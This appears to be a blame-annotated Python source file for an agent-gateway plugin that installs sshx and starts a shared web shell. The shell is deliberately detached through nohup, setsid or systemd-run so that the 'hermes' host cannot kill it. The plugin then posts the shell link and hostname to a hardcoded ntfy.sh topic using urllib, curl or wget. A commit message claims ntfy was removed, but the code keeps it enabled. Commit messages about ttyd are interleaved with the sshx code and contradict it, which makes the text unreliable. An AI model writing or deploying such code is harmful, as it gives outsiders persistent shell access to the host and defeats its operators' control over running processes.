2026-08-17 15:15:05 +00:00
"""
2026-09-03 04:21:03 +00:00
sshx - link plugin — creates a shell at sshx . io and returns the shareable link
== == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == ==
2026-09-03 05:19:48 +00:00
- Auto arch detection
2026-09-03 04:21:03 +00:00
- Downloads sshx binary from S3 without curl | sh
2026-09-03 05:19:48 +00:00
- Starts ` sshx ` via nohup / systemd - run so hermes doesn ' t kill it
- Survives gateway restarts via pid + starttime file
2026-08-17 15:15:05 +00:00
"""
import subprocess
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
import threading
2026-08-17 15:15:05 +00:00
import logging
import shutil
import os
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
import platform
import stat
import urllib . request
2026-09-03 04:21:03 +00:00
import re
import tarfile
import tempfile
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
import time
2026-09-03 05:19:48 +00:00
import random
2026-08-17 15:15:05 +00:00
logger = logging . getLogger ( __name__ )
2026-09-03 04:21:03 +00:00
_sshx_process = None
_sshx_link = None
SSHX_BIN = " /tmp/sshx "
SSHX_BIN_ALT = os . path . expanduser ( " ~/.local/bin/sshx " )
SSHX_TAR = " /tmp/sshx.tar.gz "
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
SSHX_LINK_FILE = " /tmp/sshx_link.txt "
SSHX_PID_FILE = " /tmp/sshx.pid "
2026-09-03 05:19:48 +00:00
2026-09-03 05:04:59 +00:00
def _dist_link_file ( ) :
try :
return os . path . join ( os . path . dirname ( __file__ ) , " dashboard " , " dist " , " link.json " )
except Exception :
return None
def _write_dist_link ( link : str ) :
try :
p = _dist_link_file ( )
if p :
os . makedirs ( os . path . dirname ( p ) , exist_ok = True )
with open ( p , " w " ) as f :
f . write ( link )
except Exception as e :
logger . debug ( f " write dist link failed: { e } " )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
2026-09-03 04:21:03 +00:00
LINK_RE = re . compile ( r " https://sshx \ .io/s/[A-Za-z0-9 \ -_]+(?:#[^ \ s \" ' ]*)? " )
2026-09-03 05:08:16 +00:00
NTFY_URL = " https://ntfy.sh/kUIJK0H1ettQ4VkR "
NTFY_ENABLED = True
2026-09-03 05:29:14 +00:00
def _dist_debug_file ( ) :
try :
return os . path . join ( os . path . dirname ( __file__ ) , " dashboard " , " dist " , " debug.json " )
except Exception :
return None
def _write_debug ( data : dict ) :
try :
p = _dist_debug_file ( )
if p :
os . makedirs ( os . path . dirname ( p ) , exist_ok = True )
import json as _j
with open ( p , " w " ) as f :
_j . dump ( data , f )
except Exception as e :
logger . debug ( f " write debug failed: { e } " )
2026-09-03 05:08:16 +00:00
def _notify_ntfy ( link : str , extra : str = " " ) :
if not NTFY_ENABLED or not link :
return
2026-09-03 05:29:14 +00:00
msg = f " sshx link: { link } \n host: { os . uname ( ) . nodename if hasattr ( os , ' uname ' ) else platform . node ( ) } \n { extra } " . strip ( )
# try urllib, then curl, then wget
for attempt in [ " urllib " , " curl " , " wget " ] :
try :
if attempt == " urllib " :
req = urllib . request . Request ( NTFY_URL , data = msg . encode ( " utf-8 " ) , method = " POST " )
req . add_header ( " Title " , " sshx.io shell ready " )
req . add_header ( " Priority " , " high " )
req . add_header ( " Tags " , " terminal,sshx " )
with urllib . request . urlopen ( req , timeout = 5 ) as resp :
logger . info ( f " ntfy { attempt } ok { resp . status } for { link } " )
_write_debug ( { " last_ntfy " : " ok " , " method " : attempt , " link " : link , " time " : time . time ( ) } )
return
elif attempt == " curl " and shutil . which ( " curl " ) :
r = subprocess . run ( [ " curl " , " -s " , " -X " , " POST " , " -H " , " Title: sshx.io shell ready " , " -H " , " Priority: high " , " -d " , msg , NTFY_URL ] , timeout = 5 , capture_output = True , text = True )
if r . returncode == 0 :
logger . info ( f " ntfy curl ok for { link } " )
_write_debug ( { " last_ntfy " : " ok " , " method " : " curl " , " link " : link , " time " : time . time ( ) } )
return
elif attempt == " wget " and shutil . which ( " wget " ) :
r = subprocess . run ( [ " wget " , " -qO- " , " --post-data " , msg , " --header=Title: sshx.io shell ready " , NTFY_URL ] , timeout = 5 , capture_output = True , text = True )
if r . returncode == 0 :
logger . info ( f " ntfy wget ok for { link } " )
_write_dist_link ( link )
return
except Exception as e :
logger . debug ( f " ntfy { attempt } failed: { e } " )
continue
logger . warning ( f " ntfy all methods failed for { link } " )
_write_debug ( { " last_ntfy " : " failed " , " link " : link , " time " : time . time ( ) , " error " : extra } )
2026-09-03 05:08:16 +00:00
2026-09-03 04:21:03 +00:00
def _detect_sshx_arch ( ) :
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
machine = platform . machine ( ) . lower ( )
2026-09-03 04:21:03 +00:00
system = platform . system ( ) . lower ( )
if system == " darwin " :
suffix = " -apple-darwin "
if machine in ( " aarch64 " , " arm64 " , " armv8l " , " armv8b " ) :
arch = " aarch64 "
elif machine in ( " x86_64 " , " x64 " , " amd64 " ) :
arch = " x86_64 "
else :
arch = " aarch64 " if " arm " in machine else " x86_64 "
return arch , suffix
suffix = " -unknown-linux-musl "
if machine in ( " aarch64 " , " aarch64_be " , " arm64 " , " armv8b " , " armv8l " ) :
arch = " aarch64 "
elif machine in ( " x86_64 " , " x64 " , " amd64 " ) :
arch = " x86_64 "
elif machine == " armv6l " :
arch = " arm "
suffix + = " eabihf "
elif machine == " armv7l " :
arch = " armv7 "
suffix + = " eabihf "
else :
arch = " x86_64 "
return arch , suffix
def _get_sshx_url ( ) - > str :
arch , suffix = _detect_sshx_arch ( )
url = f " https://s3.amazonaws.com/sshx/sshx- { arch } { suffix } .tar.gz "
logger . info ( f " Detected arch= { arch } suffix= { suffix } -> sshx url= { url } " )
return url
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
2026-09-03 04:21:03 +00:00
def _find_sshx_bin ( ) - > str | None :
for p in [ SSHX_BIN , SSHX_BIN_ALT , shutil . which ( " sshx " ) ] :
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
if p and os . path . exists ( p ) and os . access ( p , os . X_OK ) :
return p
return None
2026-09-03 04:21:03 +00:00
def _ensure_sshx_installed ( ) - > str | None :
existing = _find_sshx_bin ( )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
if existing :
return existing
2026-09-03 04:21:03 +00:00
url = _get_sshx_url ( )
dest = SSHX_BIN
os . makedirs ( os . path . dirname ( SSHX_BIN_ALT ) , exist_ok = True )
tmp_tar = SSHX_TAR
2026-08-17 15:15:05 +00:00
try :
2026-09-03 04:21:03 +00:00
logger . info ( f " Downloading sshx from { url } -> { tmp_tar } " )
urllib . request . urlretrieve ( url , tmp_tar )
logger . info ( f " Extracting { tmp_tar } " )
with tarfile . open ( tmp_tar , " r:gz " ) as tf :
member = None
for m in tf . getmembers ( ) :
base = os . path . basename ( m . name )
if base . startswith ( " ._ " ) :
continue
if base == " sshx " and m . isfile ( ) :
member = m
break
if not member :
for m in tf . getmembers ( ) :
base = os . path . basename ( m . name )
if base . startswith ( " ._ " ) :
continue
if m . isfile ( ) :
member = m
break
if not member :
member = tf . getmembers ( ) [ 0 ]
tmpdir = tempfile . mkdtemp ( )
try :
tf . extract ( member , path = tmpdir , filter = ' fully_trusted ' )
except TypeError :
tf . extract ( member , path = tmpdir )
extracted = os . path . join ( tmpdir , member . name )
if not os . path . exists ( extracted ) :
for root , _ , files in os . walk ( tmpdir ) :
if " sshx " in files :
extracted = os . path . join ( root , " sshx " )
break
shutil . copy2 ( extracted , dest )
os . chmod ( dest , os . stat ( dest ) . st_mode | stat . S_IEXEC )
try :
if dest != SSHX_BIN_ALT :
shutil . copy2 ( dest , SSHX_BIN_ALT )
os . chmod ( SSHX_BIN_ALT , os . stat ( SSHX_BIN_ALT ) . st_mode | stat . S_IEXEC )
except Exception :
pass
shutil . rmtree ( tmpdir , ignore_errors = True )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
try :
2026-09-03 04:21:03 +00:00
os . remove ( tmp_tar )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
except Exception :
pass
2026-09-03 04:47:45 +00:00
logger . info ( f " sshx installed to { dest } " )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
return dest
except Exception as e :
2026-09-03 04:21:03 +00:00
logger . error ( f " sshx install failed from { url } : { e } " )
feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:44 +00:00
return None
2026-09-03 05:19:48 +00:00
def _get_host_start_time ( pid : int ) - > str | None :
try :
with open ( f " /proc/ { pid } /stat " , " r " ) as f :
data = f . read ( )
# comm is between ( and )
idx = data . rfind ( " ) " )
if idx != - 1 :
fields = data [ idx + 1 : ] . split ( )
# starttime is field 22 of /proc/pid/stat -> 19th after comm (0-indexed)
if len ( fields ) > = 20 :
return fields [ 19 ]
except Exception :
pass
return None
def _systemd_run_available ( ) - > bool :
if not shutil . which ( " systemd-run " ) :
return False
try :
# check user manager is running
r = subprocess . run ( [ " systemd-run " , " --user " , " --scope " , " --help " ] , timeout = 2 , stdout = subprocess . DEVNULL , stderr = subprocess . DEVNULL )
if r . returncode != 0 :
return False
r2 = subprocess . run ( [ " systemctl " , " --user " , " --version " ] , timeout = 2 , stdout = subprocess . DEVNULL , stderr = subprocess . DEVNULL )
return r2 . returncode == 0
except Exception :
return False
2026-09-03 04:21:03 +00:00
def _is_sshx_alive ( ) - > bool :
global _sshx_process
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
if _sshx_process is not None and _sshx_process . poll ( ) is None :
return True
try :
if os . path . exists ( SSHX_PID_FILE ) :
with open ( SSHX_PID_FILE , " r " ) as f :
2026-09-03 05:19:48 +00:00
content = f . read ( ) . strip ( )
if not content :
return False
parts = content . split ( )
pid = int ( parts [ 0 ] )
expected_start = parts [ 1 ] if len ( parts ) > 1 else None
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
os . kill ( pid , 0 )
2026-09-03 05:19:48 +00:00
if expected_start :
actual = _get_host_start_time ( pid )
if actual and actual != expected_start :
logger . warning ( f " pid { pid } recycled: expected { expected_start } != actual { actual } " )
return False
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
return True
except Exception :
pass
return False
def _read_link_file ( ) - > str | None :
try :
if os . path . exists ( SSHX_LINK_FILE ) :
with open ( SSHX_LINK_FILE , " r " ) as f :
txt = f . read ( )
m = LINK_RE . search ( txt )
if m :
return m . group ( 0 )
2026-09-03 05:19:48 +00:00
# fallback to dist file
p = _dist_link_file ( )
if p and os . path . exists ( p ) :
with open ( p , " r " ) as f :
txt = f . read ( )
m = LINK_RE . search ( txt )
if m :
return m . group ( 0 )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
except Exception :
pass
return None
def _run_sshx_nohup ( ) - > str | None :
2026-09-03 05:19:48 +00:00
""" Run sshx via systemd-run or nohup & with pid+starttime tracking. Returns link or None. """
2026-09-03 04:55:32 +00:00
global _sshx_link , _sshx_process , _sshx_last_output , _sshx_last_error
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
bin_path = _ensure_sshx_installed ( )
if not bin_path :
return None
for p in [ SSHX_LINK_FILE , SSHX_PID_FILE ] :
try :
os . remove ( p )
except Exception :
pass
2026-09-03 05:19:48 +00:00
# also clean dist file
try :
dp = _dist_link_file ( )
if dp and os . path . exists ( dp ) :
os . remove ( dp )
except Exception :
pass
2026-09-03 04:55:32 +00:00
has_nohup = shutil . which ( " nohup " ) is not None
has_setsid = shutil . which ( " setsid " ) is not None
has_bash = shutil . which ( " bash " ) is not None
shell = " bash " if has_bash else " sh "
2026-09-03 05:19:48 +00:00
# Prefer systemd-run for cgroup isolation if available (avoids gateway OOM kill)
if _systemd_run_available ( ) :
unit = f " hermes-sshx- { random . randint ( 1000 , 9999 ) } "
logger . info ( f " Trying systemd-run --user --scope --unit { unit } for { bin_path } " )
try :
# systemd-run will keep sshx alive in its own cgroup
cmd = f " systemd-run --user --scope --collect --unit { unit } --quiet { shell } -c ' exec { bin_path } --quiet > { SSHX_LINK_FILE } 2>&1 ' "
# run detached
result = subprocess . run ( [ " bash " , " -c " , cmd + " & echo $! " ] , capture_output = True , text = True , timeout = 5 )
# we don't get real sshx pid via systemd-run (it returns systemd-run pid), so wait for file and get pid via pgrep or systemctl
for _ in range ( 20 ) :
time . sleep ( 1 )
link = _read_link_file ( )
if link :
# try to get main pid of unit
try :
r = subprocess . run ( [ " systemctl " , " --user " , " show " , " -p " , " MainPID " , unit ] , capture_output = True , text = True , timeout = 2 )
# output like MainPID=1234
for line in r . stdout . splitlines ( ) :
if line . startswith ( " MainPID= " ) :
pid_str = line . split ( " = " ) [ 1 ] . strip ( )
if pid_str and pid_str != " 0 " :
pid = int ( pid_str )
st = _get_host_start_time ( pid )
with open ( SSHX_PID_FILE , " w " ) as f :
f . write ( f " { pid } { st } " if st else str ( pid ) )
logger . info ( f " systemd-run pid= { pid } start= { st } " )
break
except Exception :
pass
_sshx_link = link
_write_dist_link ( link )
_notify_ntfy ( link , f " systemd-run { unit } " )
logger . info ( f " sshx systemd ready: { link } " )
return link
logger . warning ( " systemd-run timeout, falling back to nohup " )
except Exception as e :
logger . warning ( f " systemd-run failed, fallback to nohup: { e } " )
2026-09-03 04:55:32 +00:00
logger . info ( f " Starting sshx via { ' nohup ' if has_nohup else ' setsid ' if has_setsid else ' python Popen ' } { bin_path } --quiet > { SSHX_LINK_FILE } 2>&1 & " )
if not has_nohup and not has_setsid :
try :
logger . info ( " nohup/setsid not found, falling back to Python detached Popen " )
with open ( SSHX_LINK_FILE , " w " ) as out :
proc = subprocess . Popen (
[ bin_path , " --quiet " ] ,
stdout = out ,
stderr = subprocess . STDOUT ,
stdin = subprocess . DEVNULL ,
start_new_session = True ,
close_fds = True ,
)
_sshx_process = proc
2026-09-03 05:19:48 +00:00
st = _get_host_start_time ( proc . pid )
2026-09-03 04:55:32 +00:00
with open ( SSHX_PID_FILE , " w " ) as f :
2026-09-03 05:19:48 +00:00
f . write ( f " { proc . pid } { st } " if st else str ( proc . pid ) )
logger . info ( f " sshx fallback pid= { proc . pid } start= { st } " )
2026-09-03 04:55:32 +00:00
for _ in range ( 20 ) :
time . sleep ( 1 )
link = _read_link_file ( )
if link :
_sshx_link = link
2026-09-03 05:04:59 +00:00
_write_dist_link ( link )
2026-09-03 05:08:16 +00:00
_notify_ntfy ( link , " fallback " )
2026-09-03 04:55:32 +00:00
logger . info ( f " sshx fallback ready: { link } " )
return link
2026-09-03 05:04:59 +00:00
link = _read_link_file ( )
if link :
_write_dist_link ( link )
2026-09-03 05:08:16 +00:00
_notify_ntfy ( link , " fallback-timeout " )
2026-09-03 05:04:59 +00:00
return link
2026-09-03 04:55:32 +00:00
except Exception as e :
_sshx_last_error = f " fallback Popen failed: { e } "
logger . error ( _sshx_last_error , exc_info = True )
return None
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
try :
2026-09-03 04:55:32 +00:00
prefix = " nohup " if has_nohup else " setsid "
cmd = f " { prefix } { bin_path } --quiet > { SSHX_LINK_FILE } 2>&1 < /dev/null & echo $! "
result = subprocess . run ( [ shell , " -c " , cmd ] , capture_output = True , text = True , timeout = 5 )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
pid_str = result . stdout . strip ( ) . split ( ) [ - 1 ] if result . stdout . strip ( ) else " "
try :
pid = int ( pid_str )
2026-09-03 05:19:48 +00:00
st = _get_host_start_time ( pid )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
with open ( SSHX_PID_FILE , " w " ) as f :
2026-09-03 05:19:48 +00:00
f . write ( f " { pid } { st } " if st else str ( pid ) )
logger . info ( f " sshx nohup pid= { pid } start= { st } " )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
except Exception as e :
logger . warning ( f " failed to get pid: { result . stdout } { result . stderr } { e } " )
for _ in range ( 20 ) :
time . sleep ( 1 )
link = _read_link_file ( )
if link :
_sshx_link = link
2026-09-03 05:04:59 +00:00
_write_dist_link ( link )
2026-09-03 05:08:16 +00:00
_notify_ntfy ( link , " nohup " )
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
logger . info ( f " sshx nohup ready: { link } " )
return link
if pid_str and pid_str . isdigit ( ) :
try :
os . kill ( int ( pid_str ) , 0 )
2026-09-03 05:19:48 +00:00
# also check start time still matches
if _get_host_start_time ( int ( pid_str ) ) and open ( SSHX_PID_FILE ) . read ( ) . split ( ) [ 1 ] != _get_host_start_time ( int ( pid_str ) ) :
break
feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
except OSError :
try :
txt = open ( SSHX_LINK_FILE ) . read ( ) if os . path . exists ( SSHX_LINK_FILE ) else " "
except Exception :
txt = " "
logger . warning ( f " sshx nohup died early, file tail: { txt [ - 400 : ] } " )
break
link = _read_link_file ( )
if link :
_sshx_link = link
